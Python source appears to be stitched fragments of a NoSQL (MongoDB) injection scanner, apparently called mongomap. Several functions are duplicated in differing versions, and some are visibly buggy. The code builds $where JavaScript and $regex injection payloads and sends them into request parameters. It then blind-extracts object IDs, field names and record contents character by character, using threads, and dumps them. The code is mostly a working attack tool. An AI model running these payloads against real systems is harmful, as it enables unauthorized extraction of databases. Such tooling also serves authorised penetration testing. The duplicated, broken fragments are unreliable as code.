def dumpEntry(self, var=[], retry=0): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ '\"!#$%&._()*+,-/:;<=>?@{|}[]^`~" i = 0 while True: i += 1 if i > 500: bold("".join(var)) if question("This entry seems abnormally long. Skip it?"): break prev = len(var) threads = [] for c in charset: if len(threads) > self.scanner.maxthreads: threads.pop().join() thread = threading.Thread(target=self.dumpEntryChar, args=(var, c)) threads.append(thread) thread.start() for thread in threads: thread.join() if prev == len(var): break entry = "".join(var).replace("\\\\", '\\').replace("\\\'", "'").replace("\\\"", '"') if entry != "": bold("Found an entry: " + entry) self.entries.append(entry) else: failure( "Failed to fetch an entry. Maybe it was a false positive or internet delay?" )
def retrieveMaxLength(self): try: length = 1; data = copy.deepcopy(self.scanner.data); self.injectRegex(data,self.param,".{"+str(length)+"}"); #data.pop(self.param); #data[self.param+"[$regex]"] = ".{"+str(length)+"}"; req = self.scanner.sendData(data); check = self.scanner.check(req); while check != "none": if length == 70: if question("Length abnormally long. Do you want to terminate the program?"): return -1; length += 1; data = copy.deepcopy(self.scanner.data); self.injectRegex(data,self.param,".{"+str(length)+"}"); #data.pop(self.param); #data[self.param+"[$regex]"] = ".{"+str(length)+"}"; req = self.scanner.sendData(data); check = self.scanner.check(req); success("Retrieved max length: " + str(length-1)); return length-1; except Exception as e: print(e); failure("Failed to retrieve max length."); return -1;
def dumpIDChar(self, var, c): length = 24 try: speshul = self.options["q"] + "\\" oldVar = copy.deepcopy(var) oldVarLength = len(var) condition = "".join(var) + c if c in speshul: condition = "".join(var) + "\\" + c payload = self.buildPayload( self.options, " || this._id.str.startsWith(\\\"" + condition + "\\\") && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) check = self.scanner.check(req) oldVar.append(c) if check != "none": if len(var) == oldVarLength: #failure("Added "+c); var.append(c) verbose("".join(var) + "." * (length - len(var))) elif oldVar not in self.toGrabInFuture: self.toGrabInFuture.append(oldVar) verbose("Found alternative, will test later: " + "".join(oldVar)) #info(self.fromVarToString(oldVar) + "."*(length-len(oldVar))); except Exception as e: failure(str(e)) self.dumpIDChar(var, c)
def dumpEntryChar(self, var, c): try: speshul = ["\\", "'", '"'] oldVar = copy.deepcopy(var) oldVarLength = len(var) if c in speshul: c = "\\" + c condition = "".join(var) + c payload = self.buildPayload( self.options, " || JSON.stringify(this)" + self.slice + ".startsWith('" + condition + "') && '' == ") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) check = self.scanner.check(req) oldVar.append(c) if check != "none": if len(var) == oldVarLength: #failure("Added "+c); var.append(c) #print(payload); verbose("".join(var) + "...") elif oldVar not in self.toGrabInFuture: self.toGrabInFuture.append(oldVar) verbose("Found alternative, will test later: " + "".join(oldVar)) #info(self.fromVarToString(oldVar) + "."*(length-len(oldVar))); except Exception as e: failure(str(e)) self.dumpEntryChar(var, c)
def retrieveMaxLength(self, attribute): try: length = 1 payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\\\".{" + str(length) + "}\\\") && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) while self.scanner.check(req) != "none": if length == 70: if question( "Length abnormally long. Do you want to terminate the program?" ): return -1 length += 1 payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\".{" + str(length) + "}\") && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) success("Retrieved max length: " + str(length - 1)) return length - 1 except Exception as e: print(e) failure("Failed to retrieve max length.") return -1
def grabData(self): bold( "Be warned that this module may take some time to retrieve output." ) if not question("Omit ObjectID from dump? (Faster)"): self.slice = "" self.grabEntries() if len(self.entries) == 0: failure("Failed to fetch any entries.") return None return ["Found Entries:"] + self.entries
def grabData(self): bold( "Be warned that this module may take some time to retrieve output." ) if not question("Omit ObjectID from dump? (Faster)"): self.slice = "" self.grabEntries() if len(self.entries) == 0: failure( "Nothing was retrieved with this module. Maybe false positive?" ) return None return ["Found Entries:"] + self.entries
def grabData(self): if len(self.scanner.element_attributes) > 0: if question( "There are already some found attributes. Do you want to find again with this module?" ): self.grabElementAttributes() else: self.grabElementAttributes() if len(self.scanner.element_attributes) > 0: success("Some attributes are present. We can proceed to step 2.") bold("Attributes to be used:") for attribute in self.scanner.element_attributes: bold("- " + attribute) else: failure("No attributes could be found. We cannot dump anything.") return None if len(self.scanner.objectIDs) > 0: if question( "There are already some found IDs. Do you want to find again with this module?" ): self.grabIDs() else: self.grabIDs() if len(self.scanner.objectIDs) == 0: failure("No IDs found. Database may be empty.") return None if len(self.scanner.objectIDs) > 0: success("Some ObjectIDs are present. Proceeding with step 3.") grabbedData = {} for objectID in self.scanner.objectIDs: dump = self.grabDataFromID(objectID) grabbedData[objectID] = dump output = [] for id in grabbedData: output.append(id) dump = grabbedData[id] for attrib in dump: value = dump[attrib]["value"] output.append("\t" + attrib + " : " + str(value)) return ["Element Attributes:"] + self.scanner.element_attributes + [ "", "Object IDs:" ] + self.objectIDs
def testConnection(self): #try: req = self.sendData(self.data) self.status_baseline = req.status_code if str(req.status_code).startswith("4"): failure("Website returned status code " + str(req.status_code) + "!") self.textBaseline = req.text if str(req.status_code).startswith("3"): if question("Redirect to " + req.url + " detected. Follow?"): self.url = req.url return self.testConnection() return True
def grabData(self): req1 = self.scanner.sendData(self.scanner.data) results = [] for data in self.workingCombinations: results.append("") results.append("For payload: " + self.scanner.implodeData(data)) results.append("") req2 = self.scanner.sendData(data) if req1.status_code != req2.status_code: change = str(req1.status_code) + " => " + str(req2.status_code) results.extend( ["Status code with the injection is different!", change]) results.append("") elif req1.text != req2.text: diff = difflib.unified_diff(req1.text, req2.text) new = "" for item in diff: if item.startswith("+"): if len(item) > 2: continue new += item[1] if new.strip() != "": results.extend(["Content Difference:"] + [new]) results.append("") if req1.cookies != req2.cookies: cookies = [] oldCookies = req1.cookies.get_dict() for key in req2.cookies.get_dict(): if key in oldCookies: if oldCookies[key] == req2.cookies.get_dict()[key]: continue cookies.append(key + " : " + req2.cookies.get_dict()[key]) if len(cookies) > 0: results.extend(["New Cookies:"] + cookies) results.append("") if len(results) == 3 * len(self.workingCombinations): failure("All combinations failed to retrieve data!") return None #success("[$ne] injection was a success! Be sure to customise the parameters to attempt regex injection."); return results
def retrieveLengths(self,maxLength): lengths = []; for length in range(1,maxLength+1): try: data = copy.deepcopy(self.scanner.data); self.injectRegex(data,self.param,"^(.{"+str(length)+"})$"); #data.pop(self.param); #data[self.param+"[$regex]"] = "^(.{"+str(length)+"})$"; req = self.scanner.sendData(data); check = self.scanner.check(req); if check != "none": lengths.append(length); success("Retrieved length " + str(length)); except Exception as e: print(e); failure("Failed to retrieve exact length."); return lengths; return lengths;
def grabData(self): results = [] req1 = self.scanner.sendData(self.scanner.data) results.append("") results.append("") data = copy.deepcopy(self.scanner.data) data[self.param] = self.buildPayload(self.options, " || '' == ") req = self.scanner.sendData(data) req2 = self.scanner.sendData(data) results.append("For payload: " + data[self.param]) if req1.status_code != req2.status_code: change = str(req1.status_code) + " => " + str(req2.status_code) results.extend( ["Status code with the injection is different!", change]) results.append("") elif req1.text != req2.text: diff = difflib.unified_diff(req1.text, req2.text) new = "" for item in diff: if item.startswith("+"): if len(item) > 2: continue new += item[1] if new.strip() != "": results.extend(["Content Difference:"] + [new]) results.append("") if req1.cookies != req2.cookies: cookies = [] oldCookies = req1.cookies.get_dict() for key in req2.cookies.get_dict(): if key in oldCookies: if oldCookies[key] == req2.cookies.get_dict()[key]: continue cookies.append(key + " : " + req2.cookies.get_dict()[key]) if len(cookies) > 0: results.extend(["New Cookies:"] + cookies) results.append("") if len(results) == 3: failure("No differences could be found.") return None return results
def showTechniqueHelp(techniques): tests = getTests("", "", Scanner("http://localhost/index.php?me=a")) for testname in tests: test = tests[testname] if str(test.getID()) in techniques or str( test.getType()) in techniques: plain("") success(testname) print("_" * 50) failure("ID: " + str(test.getID())) type = "(a) Array Injection" if test.getType() == "w": type = "(w) Where Injection" if "blind" in testname.lower(): type = "Blind " + type failure("Type: " + type) plain("") test.doc() print("_" * 50)
def retrieveLengths(self, maxLength, attribute): lengths = [] for length in range(1, maxLength + 1): try: regex = "^" + "." * length + "$" payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\\\"" + regex + "\\\") && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) check = self.scanner.check(req) if check != "none": lengths.append(length) success("Retrieved length " + str(length)) except Exception as e: print(e) failure("Failed to retrieve exact length.") return lengths return lengths
def grabLetter(self,length,var,c): try: oldVarLength = len(var); if c == "\\": c += c; #Make sure it's escaped if c == "^": c = "\\^"; #Make sure this is escaped. ^ means anything c = "[" + c + "]"; data = copy.deepcopy(self.scanner.data); self.injectRegex(data,self.param,"^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$"); #data.pop(self.param); #data[self.param+"[$regex]"] = "^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$"; #print("^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$"); req = self.scanner.sendData(data); check = self.scanner.check(req); if check != "none": if len(var) == oldVarLength: var.append(c); info(self.fromVarToString(var) + "."*(length-len(var))); except Exception as e: failure(str(e)); self.grabLetter(length,var,c);
def tryElementAttribute(self, attribute, newAttributes, retry=0): if retry > 10: failure( "Failed to connect to target 10 times! Consider killing the program." ) return try: payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(/.*/) && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) if req.text != self.scanner.textErrorBaseline: if attribute not in self.scanner.element_attributes: newAttributes.append(attribute) success("Found an element attribute: " + attribute) else: info("Element attribute: " + attribute + " reconfirmed.") except: self.tryElementAttribute(atrribute, newAttributes, retry + 1)
def dumpIDValue(self, var=[], retry=0): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\!#$%&._()*+,-/:;<=>?@{|}[]^`~" while len(var) < 24: prev = len(var) threads = [] for c in charset: if len(threads) > self.scanner.maxthreads: threads.pop().join() thread = threading.Thread(target=self.dumpIDChar, args=(var, c)) threads.append(thread) thread.start() for thread in threads: thread.join() if prev == len(var): failure("Something went wrong.") if retry < 10: self.dumpIDValue(var, retry + 1) bold("Found an ObjectID: " + "".join(var)) self.objectIDs.append("".join(var))
def grabIDs(self): if "_id" not in self.scanner.element_attributes: #All elements MUST have _id. If this was not found, then this probably wasn't an element. failure("_id was not one of the found attributes. Cannot dump.") else: self.keyAttribute = "_id" bold("Using " + self.keyAttribute + " as a unique key.") self.toGrabInFuture = [] self.dumpIDValue() threads = [] while len(self.toGrabInFuture) > 0: var = self.toGrabInFuture.pop() self.dumpIDValue(var=var, retry=5) for id in self.objectIDs: if id not in self.scanner.objectIDs: success("New ObjectID: " + id) self.scanner.objectIDs.append(id) else: bold("Re-confirmed id: " + id)
def handleData(self): strData = self.data if self.method == "get" and strData == "": split = self.url.split("?") if len(split) != 2: failure( "Get request method selected, but url has no get parameters" ) sys.exit(1) else: self.explodeData(split[1]) self.url = split[0] elif self.method == "post": self.explodeData(strData) elif self.method == "json": pass #Already in the correct form. if "/" not in self.url.replace("://", ""): bold("URL: " + self.url) if question( "There is no / in your url. Do you want to add a trailing slash?" ): self.url += "/"
def grabWord(self,length): charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\\\"#$%&'._()*+,-/:;<=>?@{|}[\]^`~" var = []; while len(self.fromVarToString(var)) < length: prev = len(var); threads = [] for c in charset: if len(threads) > self.scanner.maxthreads: threads.pop().join(); thread = threading.Thread(target = self.grabLetter, args = (length,var,c)); threads.append(thread); thread.start(); for thread in threads: thread.join(); if prev == len(var): failure("Something went wrong."); if not question("Try again?"): return None; else: var = []; continue; return self.fromVarToString(var);
def grabDataFromID(self, objectID): dump = {} for attribute in self.scanner.element_attributes: if attribute == "_id": continue length = -1 value = None try: testLength = 0 bold("Attempting to retrieve length of " + attribute + " for ID " + objectID) while length == -1: testLength += 1 if testLength == 70: if question( "The length seems unnaturally long. Skip this attribute?" ): break regex = "^" + "." * testLength + "$" payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(\\\"" + regex + "\\\") && this._id.str == '" + objectID) data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) check = self.scanner.check(req) if check != "none": length = testLength success("Retrieved length " + str(testLength) + " for " + attribute + " for ID " + objectID) except Exception as e: print(e) failure("Failed to retrieve exact length for " + attribute + " for ID " + objectID) try: if length == -1: failure("Failed to retrieve " + attribute + " for ID " + objectID) continue bold("Attempting to retrieve value of " + attribute + " for ID " + objectID) except Exception as e: print(e) failure("Failed to retrieve value of " + attribute + " for ID " + objectID) dump[attribute] = { "length": length, "value": value } return dump
def extractArgs(): flags = ["dump", "help", "h", "v", "techniques", "ts"] options = [ "u", "t", "method", "data", "p", "cookies", "headers", "maxbrute", "maxthreads", "ignorecheck", "csrftoken", "objectids", "file" ] parsed = {} if len(sys.argv) <= 1: showHelp() sys.exit(1) expectingVal = None #Parse arguments for arg in range(1, len(sys.argv)): arg = sys.argv[arg] if expectingVal == None: if arg.startswith("-"): arg = arg.replace("-", "") if arg in flags: parsed[arg] = True elif arg in options: expectingVal = arg else: failure("Unknown option/flag: " + arg) sys.exit(1) else: failure("Value without option: " + arg) sys.exit(1) else: if arg.startswith("-"): failure("Expecting value for option: " + expectingVal) sys.exit(1) else: parsed[expectingVal] = arg expectingVal = None verbose("Options provided:") for key in parsed: if key in flags: verbose(key + " flag") else: verbose(key + " - " + parsed[key]) if "techniques" in parsed or "ts" in parsed: showTechniques() sys.exit(1) if "h" in parsed or "help" in parsed: if "t" not in parsed: showHelp() else: techniques = parsed["t"] showTechniqueHelp(techniques) sys.exit(1) if "u" not in parsed: failure("You must specify a target with -u!") sys.exit(1) return parsed
def main(): colinit() banner() #Initiations parsed = extractArgs() scanner = initScanner(parsed) #Test connection to target if scanner.testConnection(): success("URL can be reached.") else: failure(scanner.url + " cannot be reached. Did you forget http://?") sys.exit(1) print() params = scanner.getParams() if "v" in parsed: setVerbose(True) if "p" in parsed: toTest = parsed["p"].split(",") for param in toTest: if param not in params: failure("Param, " + param + " is not provided in your get/post data!") sys.exit(1) params = toTest verbose("Going to test the following parameters:") for param in params: verbose(param) print() bold("Beginning testing phase.") vulnParams = {} tested = 0 for param in params: tested += 1 bold("Testing for param " + param) successes = scanner.testParam(param) if len(successes) > 0: vulnParams[param] = successes success(param + " is injectible.") if tested < len(params): if not question("Continue testing other parameters?"): break print() bold("Test phase completed.") if len(vulnParams) == 0: failure("No vulnerable parameters found.") sys.exit(1) print() success("Vulnerable Parameters:") for param in vulnParams: success(param) for vuln in vulnParams[param]: success("- " + vuln) print() info("Attempting to dump data...") for param in vulnParams: bold("Parameter: " + param) for vuln in vulnParams[param]: print() bold("Attemping dump with " + vuln + " on param " + param) print() dump = scanner.dumpData(param, vuln) if dump == None: print() failure(vuln + " for " + param + " failed to dump.") else: print() success(vuln + " for " + param + " has retrieved:") if type(dump) == type("str"): success("\t" + dump) elif type(dump) == type({}): for key in dump: success("\t" + str(key) + " : " + str(dump[key])) elif type(dump) == type([]): for i in dump: success("\t" + str(i)) print()
def initScanner(parsed): url = parsed["u"] method = "get" data = "" if "file" in parsed: f = open(parsed["file"], "r") parsed["data"] = f.read() f.close() if "method" in parsed: if parsed["method"] == "post" or parsed["method"] == "json": if "data" not in parsed: failure( "You must set the data option if you want to send post or json requests!" ) sys.exit(1) method = parsed["method"] if parsed["method"] == "json": try: data = json.loads(parsed["data"]) except: failure(parsed["data"]) failure( "The data provided was not json, but mongomap was told to send json data." ) sys.exit(1) if "data" in parsed: data = parsed["data"] if method == "json": data = json.loads(data) scanner = Scanner(url, method, data) if "cookies" in parsed: cookies = {} for entry in parsed["cookies"].split(";"): key, value = entry.split("=") key = key.strip() value = value.strip() cookies[key] = value scanner.cookies = cookies if "headers" in parsed: headers = {} for entry in parsed["headers"].split(";"): key, value = entry.split(":") key = key.strip() value = value.strip() headers[key] = value scanner.headers = headers if "maxthreads" in parsed: maxthreads = int(parsed["maxthreads"]) scanner.maxthreads = maxthreads if "maxbrute" in parsed: maxbrute = int(parsed["maxbrute"]) scanner.maxbrute = maxbrute if "objectids" in parsed: objectids = parsed["objectids"].split(",") scanner.objectIDs = objectids if "csrftoken" in parsed: csrftoken = parsed["csrftoken"] failure( "Warning: CSRFToken handling is not coded yet. You must modify handleCSRF inside lib/scanner.py to let it work with a specific situation." ) scanner.csrfToken = csrftoken if "ignorecheck" in parsed: scanner.ignore_check = parsed["ignorecheck"].split(",") if "t" in parsed: scanner.techniques = parsed["t"] return scanner